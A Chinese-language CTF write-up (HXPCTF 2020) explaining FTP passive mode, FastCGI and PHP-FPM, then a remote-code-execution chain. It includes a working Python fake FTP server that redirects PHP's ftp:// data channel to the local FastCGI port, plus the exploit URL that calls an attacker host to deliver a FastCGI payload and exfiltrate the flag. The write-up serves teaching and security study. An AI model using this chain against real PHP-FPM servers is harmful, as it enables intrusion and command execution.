前置知识
在介绍这个漏洞之前,需要先了解几个概念。
一. FTP 的主动模式与被动模式
主动模式(PORT)
1 2 3
| 控制通道:客户端随机高位端口 X → 服务器 21 端口 客户端通过 PORT 命令将自己的 IP:X+1 发给服务器 数据通道:服务器 20 端口 → 主动连接客户端 X+1 端口
|
被动模式(PASV)
1 2 3 4
| 控制通道:客户端随机高位端口 → 服务器 21 端口 客户端发送 PASV 命令 服务器随机打开高位端口 Y,将 IP:Y 告诉客户端 数据通道:客户端主动连接服务器 Y 端口
|
由于防火墙的存在,服务器主动连接客户端容易被拦截,因此现在基本使用被动模式。
二. FastCGI 基本概念与工作原理
CGI(Common Gateway Interface,通用网关接口)
Nginx 只能处理 HTML/CSS/图片等静态文件。CGI 可以调用 PHP、Python 等程序处理动态请求:
1
| client → Nginx → CGI → PHP 程序 → Nginx → client
|
但原生 CGI 每次请求都要创建进程、处理完立即销毁,并发高时效率极低。
FastCGI
FastCGI 采用进程池 + 常驻内存架构,解决 CGI 的性能瓶颈。服务器启动时预先创建一批工作进程,常驻内存不退出,等待请求。
三. PHP-FPM 是什么
PHP-FPM(PHP FastCGI Process Manager)是管理 FastCGI PHP 进程的工具,负责创建、管理、调度、维护常驻 PHP 工作进程。
工作原理:
- PHP-FPM 启动,创建 Worker 进程池,监听 9000 端口或 Unix Socket
- 客户端访问
index.php,请求到达 Nginx
- Nginx 通过 FastCGI 协议将请求发给 PHP-FPM
- PHP-FPM 调度空闲 Worker 执行 PHP 代码
- 结果返回 Nginx,再由 Nginx 发给客户端
- Worker 不销毁,回到进程池等待复用
四. PHP-FPM 被动模式 RCE 漏洞
题目:HXPCTF 2020
源码:
1 2 3 4 5 6
| <?php $file = $_GET['file'] ?? '/tmp/file'; $data = $_GET['data'] ?? ':)'; file_put_contents($file, $data); echo file_get_contents($file); ?>
|
PHP 支持的协议列表(文档):
1 2 3 4 5 6
| file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问输入/输出流 data:// — 数据 (RFC 2397) ...
|
Dockerfile:
1 2 3 4 5 6
| FROM debian:buster RUN apt-get install -y nginx php-fpm COPY flag.txt docker-stuff/readflag / RUN chown 0:1337 /flag.txt /readflag && \ chmod 040 /flag.txt && chmod 2555 /readflag COPY index.php /var/www/html/
|
容器权限校验严格,获取 flag 只能通过 /readflag 这个 SUID 程序,且可直接利用的协议只有 ftp://。
攻击思路
- 创建虚假 FTP 服务器,诱导目标连接本地
127.0.0.1:9000(FastCGI 端口)
- 发送 FastCGI 报文执行命令,将数据带出
- 监听本地获取 flag
第一步:虚假 FTP 服务器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import socket
LISTEN_HOST = "0.0.0.0" LISTEN_PORT = 5555 BUFFER_SIZE = 1024
def main(): server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((LISTEN_HOST, LISTEN_PORT)) server_socket.listen(3) print(f"FTP server started: {LISTEN_HOST}:{LISTEN_PORT}")
client_conn, client_addr = server_socket.accept() print(f"Client connected: {client_addr}")
try: client_conn.sendall(b"220 \r\n") print("[+]", client_conn.recv(BUFFER_SIZE).decode().strip())
client_conn.sendall(b"331 \r\n") print("[+]", client_conn.recv(BUFFER_SIZE).decode().strip())
client_conn.sendall(b"230 \r\n") print("[+]", client_conn.recv(BUFFER_SIZE).decode().strip())
client_conn.sendall(b"200 \r\n") print("[+]", client_conn.recv(BUFFER_SIZE).decode().strip())
client_conn.sendall(b"550 \r\n") print("[+]", client_conn.recv(BUFFER_SIZE).decode().strip())
client_conn.sendall(b"200 \r\n") print("[+]", client_conn.recv(BUFFER_SIZE).decode().strip())
client_conn.sendall(b"227 127,0,0,1,35,40\r\n") print("[+]", client_conn.recv(BUFFER_SIZE).decode().strip())
client_conn.sendall(b"150 \r\n") print("[+]", client_conn.recv(BUFFER_SIZE).decode().strip())
finally: client_conn.close() server_socket.close()
if __name__ == "__main__": main()
|
核心在 227 127,0,0,1,35,40,端口计算规则:35 × 256 + 40 = 9000,将数据传输端口指向本机 FastCGI 端口。
第二步:生成 FastCGI 报文
使用 gopherus 生成 payload,执行 /readflag 并将结果带出到监听端口:
第三步:最终利用
本地监听 4444:
运行虚假 FTP 脚本:
发送 payload:
1
| http://target:8009/?file=ftp://attacker:5555/a&data=<fastcgi_payload>
|
file 传入 FTP 协议指向虚假 FTP 服务器,data 传入生成的 FastCGI 报文,漏洞利用完成。